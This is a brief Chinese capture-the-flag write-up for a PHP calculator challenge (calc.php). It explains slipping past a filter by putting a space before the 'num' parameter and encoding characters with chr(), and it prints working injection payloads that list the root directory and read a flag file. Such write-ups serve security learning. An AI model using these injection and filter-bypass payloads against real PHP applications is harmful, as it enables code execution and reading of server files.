打开题目
查看源码,看到
看到源代码有 calc.php,构造url打开
看到php审计代码,
由于页面中无法上传num,则输入 num,在num前加入一个空格可以让num变得可以上传,而且在进行代码解析时,php会把前面的空格去除。
由于不能使用很多的字符,可以使用file_get_contents()函数,将ascii码转化为字符来绕过。
构造? num=var_dump(scandir(chr(47)))
scandair可以列出指定路径中的文件目录。
得到flag
? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))